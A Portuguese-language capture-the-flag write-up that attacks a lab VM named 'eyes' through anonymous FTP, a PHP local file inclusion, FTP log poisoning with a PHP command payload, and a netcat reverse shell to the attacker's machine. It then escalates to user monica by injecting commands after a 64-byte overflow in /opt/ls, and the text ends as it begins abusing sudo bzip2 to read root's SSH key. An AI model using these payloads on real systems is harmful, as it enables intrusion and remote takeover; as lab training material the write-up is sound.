Guia com dicas que podem te auxiliar na resolução do CTF antes de ler o write-up.
Escaneie portas do alvo para identificar serviços
Verifique o acesso anônimo do servidor FTP
Baixe arquivos interessantes do FTP
Identifique uma vulnerabilidade no arquivo PHP
Acesse arquivos locais do alvo
Injete código malicioso nos logs
Obtenha uma shell reversa na máquina alvo
Explore diretórios como /opt em busca de arquivos interessantes
Veja como o programa se comporta recebendo muitos caracteres (Segmentation Fault)
Veja as permissões SUDO do novo usuário
Consulte como explorar o binário bzip2
Obtenha a Chave Privada SSH do Root
Reconhecimento de Rede
Descoberta de Hosts Ativos
O primeiro passo foi identificar os hosts ativos na rede local. Para isso, utilizei a ferramenta netdiscover, que realiza uma varredura ARP passiva. Este método é eficaz para descobrir dispositivos que estão na mesma sub-rede, uma vez que a comunicação ARP é comum entre dispositivos conectados.
attacker> netdiscover -r 10.0.2.1/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.0.2.11 08:00:27:0f:f2:81 1 60 PCS Systemtechnik GmbH
O scan revelou que a máquina alvo estava no IP 10.0.2.11. Esse foi o meu ponto de partida para os próximos passos.
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.
attacker> ping -c 1 10.0.2.11
PING 10.0.2.11 (10.0.2.11) 56(84) bytes of data.
64 bytes from 10.0.2.11: icmp_seq=1 ttl=64 time=1.28 ms
--- 10.0.2.11 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.276/1.276/1.276/0.000 ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo.
attacker> rustscan -a 10.0.2.11 -r 1-65535 -- -sCV -n -Pn -oX nmap.xml
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.0.2.5
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 125 Apr 04 2021 index.php
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b1:12:94:12:60:67:e1:0b:45:c1:8d:e9:21:13:bc:51 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFQ4qkZ9D5CvFtWC3WBnPYOHrM2maPa4OOMI6bTfNqwUfJjd+Sn2T7fokjikC9gx4S/Vj+/es9wH0WY9sA5TS2sOKnULHTxM9z+QvO42G60zCG0MBHYa71yeMHKklQ1M/n5jtT366SIkl95Mitw8/tuIZtq8cXkDYMGfIm60bPYaTbDyyLNJemMVJ6un6avC93yyyZIvy9u8S8KdjtB8n7WOu8MJmdxlRkHDNsMZ6vHS/i0c7RmJ/NrJUvR4U53J3yDhFi0l+0GtiCUl2/J3gYgOPujkvkg5KQRbsHrR/v77Ig438PJ8EAG82lQuHMnwY3PIH9M8A9y09/swtNfzm3
| 256 b7:7f:25:94:d6:4e:88:56:8a:22:34:16:c2:de:ba:02 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIlB0iWqqfFgpg4PaaMZjfs28ZkCa49mPLY8F8V5PFEy8y0KF7X1VKB+WKS/TSK7ujW3Dr3u1OgLK8vw4om/q1U=
| 256 30:c7:a2:90:39:5d:24:13:bf:aa:ba:4c:a7:f4:2f:bb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJrcKRHqtkWX7DttOoV7rw/0s7Uf9/RUL82Vf0a8ZBN8
80/tcp open http syn-ack ttl 64 nginx 1.14.2
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:0F:F2:81 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
O serviço FTP na porta 21 permitia acesso anônimo, ou seja, era possível acessar os arquivos sem necessidade de autenticação. Com isso, foi possível listar os arquivos e baixar um deles para análise.
Acessando o FTP:
attacker> ftp 10.0.2.11
Connected to 10.0.2.11.
220 (vsFTPd 3.0.3)
Name (10.0.2.11:bruno): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
Ao listar os diretórios, encontrei um arquivo interessante chamado index.php:
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 113 4096 Apr 04 2021 .
drwxr-xr-x 2 0 113 4096 Apr 04 2021 ..
-rw-r--r-- 1 0 0 125 Apr 04 2021 index.php
226 Directory send OK.
Baixando o arquivo:
ftp> get index.php
local: index.php remote: index.php
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for index.php (125 bytes).
226 Transfer complete.
125 bytes received in 0.00 secs (55.5876 kB/s)
ftp> quit
221 Goodbye.
Analisando o Arquivo PHP
Depois de baixar o arquivo index.php, o próximo passo foi analisá-lo. Ao abrir o arquivo, ficou evidente uma vulnerabilidade de Inclusão de Arquivo Local (LFI). O código PHP recebia um parâmetro via GET e o incluía diretamente no código, sem qualquer tipo de sanitização.
A linha vulnerável é a que faz o include do parâmetro fil3 sem nenhuma validação, possibilitando assim a exploração de LFI para acessar arquivos arbitrários no servidor.
Explorando o Serviço HTTP
Depois de identificar que o serviço HTTP estava ativo na porta 80, utilizei a ferramenta WhatWeb para obter mais informações sobre o servidor web e outras possíveis tecnologias em uso.
attacker> whatweb -v http://10.0.2.11 | tee whatweb.txt
WhatWeb report for http://10.0.2.11
Status : 200 OK
Title : <None>
IP : 10.0.2.11
Country : RESERVED, ZZ
Summary : HTTPServer[nginx/1.14.2], nginx[1.14.2]
...
HTTP Headers:
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Thu, 25 Aug 2022 21:45:59 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Content-Encoding: gzip
O comando acima foi usado para explorar o alvo. O WhatWeb retornou que o servidor em execução era o Nginx, versão 1.14.2.
Acessando a página no navegador, vemos que ela reflete o texto "Here my eyes...", sendo o mesmo texto do arquivo .php analisado, indicando que aquele arquivo no FTP do alvo seja o mesmo utilizado na aplicação web, logo, podendo conter a mesma vulnerabilidade de LFI que observamos no código.
Local File Inclusion (LFI)
Para explorar a vulnerabilidade de LFI encontrada no arquivo index.php, usei o comando curl para acessar arquivos sensíveis no servidor. O primeiro arquivo que tentei acessar foi o /etc/passwd, que contém informações sobre os usuários do sistema.
O comando acima acessou o arquivo /etc/passwd e mostrou o conteúdo, confirmando que a vulnerabilidade de LFI era explorável.
Esse arquivo revelou que havia uma usuária chamada monica, com um diretório /home/monica, sugerindo que essa conta poderia ser o próximo alvo para uma escalada de privilégios.
Para verificar quais usuários têm shells válidas, filtrei as linhas que terminam com sh.
Com essa informação, pude confirmar que tanto o root quanto a usuária monica têm shells válidas.
LFI para RCE via FTP Log Poisoning
Sabendo que havia uma vulnerabilidade de LFI, explorei a técnica de log poisoning para transformar essa vulnerabilidade em execução remota de código (RCE). O objetivo era injetar um código PHP malicioso nos logs do FTP e, em seguida, acessá-los via LFI para obter uma shell reversa.
Primeiro, verifiquei se os logs do FTP estavam acessíveis via LFI.
Confirmando que o arquivo de logs era acessível, o próximo passo foi injetar um payload PHP nos campos de login do FTP. Isso permitiria que o código PHP fosse registrado no log, onde seria executado quando acessado via LFI.
Conectei-me ao FTP e, nos campos de nome de usuário e senha, injetei o seguinte payload PHP: <?php system($_GET['cmd']); ?>.
attacker> ftp 10.0.2.11
Connected to 10.0.2.11.
220 (vsFTPd 3.0.3)
Name (10.0.2.11:bruno): '<?php system($_GET['cmd']); ?>'
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> quit
221 Goodbye.
Apesar da falha no login, o payload foi registrado no arquivo de log, permitindo sua execução através do LFI.
Acessando os Logs e Executando Comandos
Para verificar se o payload PHP foi executado com sucesso, usei o LFI para acessar os logs e passei o comando whoami como parâmetro.
A resposta indicou que o comando foi executado com sucesso e que o servidor estava rodando como o usuário www-data.
Obtenção de uma Shell Reversa
Com a execução remota de comandos confirmada, meu próximo passo foi obter uma shell reversa para ter controle total sobre a máquina. Para isso, utilizei o netcat para enviar uma conexão reversa para minha máquina de ataque.
Primeiro, configurei o meu listener com netcat:
attacker> nc -nlvp 443
Em seguida, executei o seguinte comando no alvo através da LFI para iniciar a conexão reversa:
attacker> curl -s -X GET 'http://10.0.2.11/?fil3=/var/log/vsftpd.log&cmd=nc+-e+/bin/bash+10.0.2.5+443'
No meu listener, recebi a conexão:
attacker> nc -nlvp 443
Listening on 0.0.0.0 443
Connection received on 10.0.2.11 41786
id; hostname -I
uid=33(www-data) gid=33(www-data) groups=33(www-data)
10.0.2.11
Agora, com uma shell na máquina alvo como o usuário www-data, o próximo passo seria investigar o sistema para identificar possíveis vetores de escalada de privilégios e avançar na exploração da máquina.
Upgrade da Shell
Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.
Gerando um console bash em segundo plano: Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de bash através do comando script, que abre uma sessão interativa mais apropriada, logo após, colocamos em background com CTRL+Z:
Verificando as dimensões do terminal na máquina atacante: Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:
attacker> stty size
55 153
Resetando o terminal no alvo: Após isso, resetei o terminal do alvo com uma nova TTY:
attacker> stty raw -echo; fg
nc -nlvp 443
reset xterm
Definindo dimensões e variáveis de ambiente: Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:
O programa usa gets() para capturar a entrada do usuário, o que permite um ataque de buffer overflow, pois essa função não limita o tamanho da entrada.
No arquivo note.txt temos uma mensagem de "monica", afirmando estar preparando uma nova versão deste programa.
www-data@eyes:/opt$ cat note.txt
Im preparing the new ls program.
-monica
Testando o programa, vemos que há um input pro usuário onde inserimos um nome que é refletido, logo em seguida a funcionalidade de listar o diretório é executada, apresentando a listagem no output.
www-data@eyes:/opt$ ./ls
Enter your name:bruno
Hi bruno, Im executing ls
Output:
ls ls.c note.txt
Buffer Overflow (Segmentation Fault)
A nível de POC, usamos o python para gerar um conjunto de 100 caracteres "a" para vermos como o programa se comporta ao receber isto como input.
Ao colocar estes caracteres como input, vemos que é quebrada a funcionalidade do programa, dando um aparente erro.
www-data@eyes:/opt$ ./ls
Enter your name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hi aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, Im executing ls
Output:
sh: 1: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: not found
Ao colocar 200 caracteres "a", vemos que o programa incorre num erro especifico de "Segmentation fault".
www-data@eyes:/opt$ ./ls
Enter your name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
Com isto, vamos explorar a falha enviando um padrão controlado para identificar o offset, para saber em que ponto ocorre a falha de segmentação:
Injetando esse padrão podemos ver em qual parte está quebrando a aplicação (c1Ac).
www-data@eyes:/opt$ ./ls
Enter your name:Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Hi Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A, Im executing ls
Output:
sh: 1: c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A: not found
Dessa forma podemos ver o offset que no caso é 64.
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q c1Ac
[*] Exact match at offset 64
Significa que podemos enviar 64 bytes (ou 64 caracteres "a") e em seguida injectar um comando, que por sua vez seria executado e controlado pelo usuário monica.
www-data@eyes:/opt$ ./ls
Enter your name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa whoami; id
Hi aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa whoami; id, Im executing ls
Output:
monica
uid=1000(monica) gid=33(www-data) groups=33(www-data)
Agora temos controle sobre o executável e obtemos acesso como o usuário monica.
Portanto, podemos obter um console bash como monica e assim ler a user flag.
www-data@eyes:/opt$ ./ls
Enter your name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa bash
Hi aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa bash, Im executing ls
Output:
monica@eyes:/opt$ cd /home/monica
monica@eyes:/home/monica$ cat user.txt
hmv***es
Obtendo Root via Bzip2
Conforme exibido ao usar o comando sudo -l, monica pode executar o binario bzip2 como qualquer usuário, inclusive root, sem precisar fornecer uma senha.
monica@eyes:/home/monica$ sudo -l
Matching Defaults entries for monica on eyes:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User monica may run the following commands on eyes:
(ALL) NOPASSWD: /usr/bin/bzip2
Inclusive, podemos conferir técnicas de escalada de privilégio relacionadas a este binário no GTFobins:
https://gtfobins.github.io/gtfobins/bzip2/
A princípio, vamos utilizar o bzip2 para ler o arquivo id_rsa do root e assim obter acesso como root via SSH: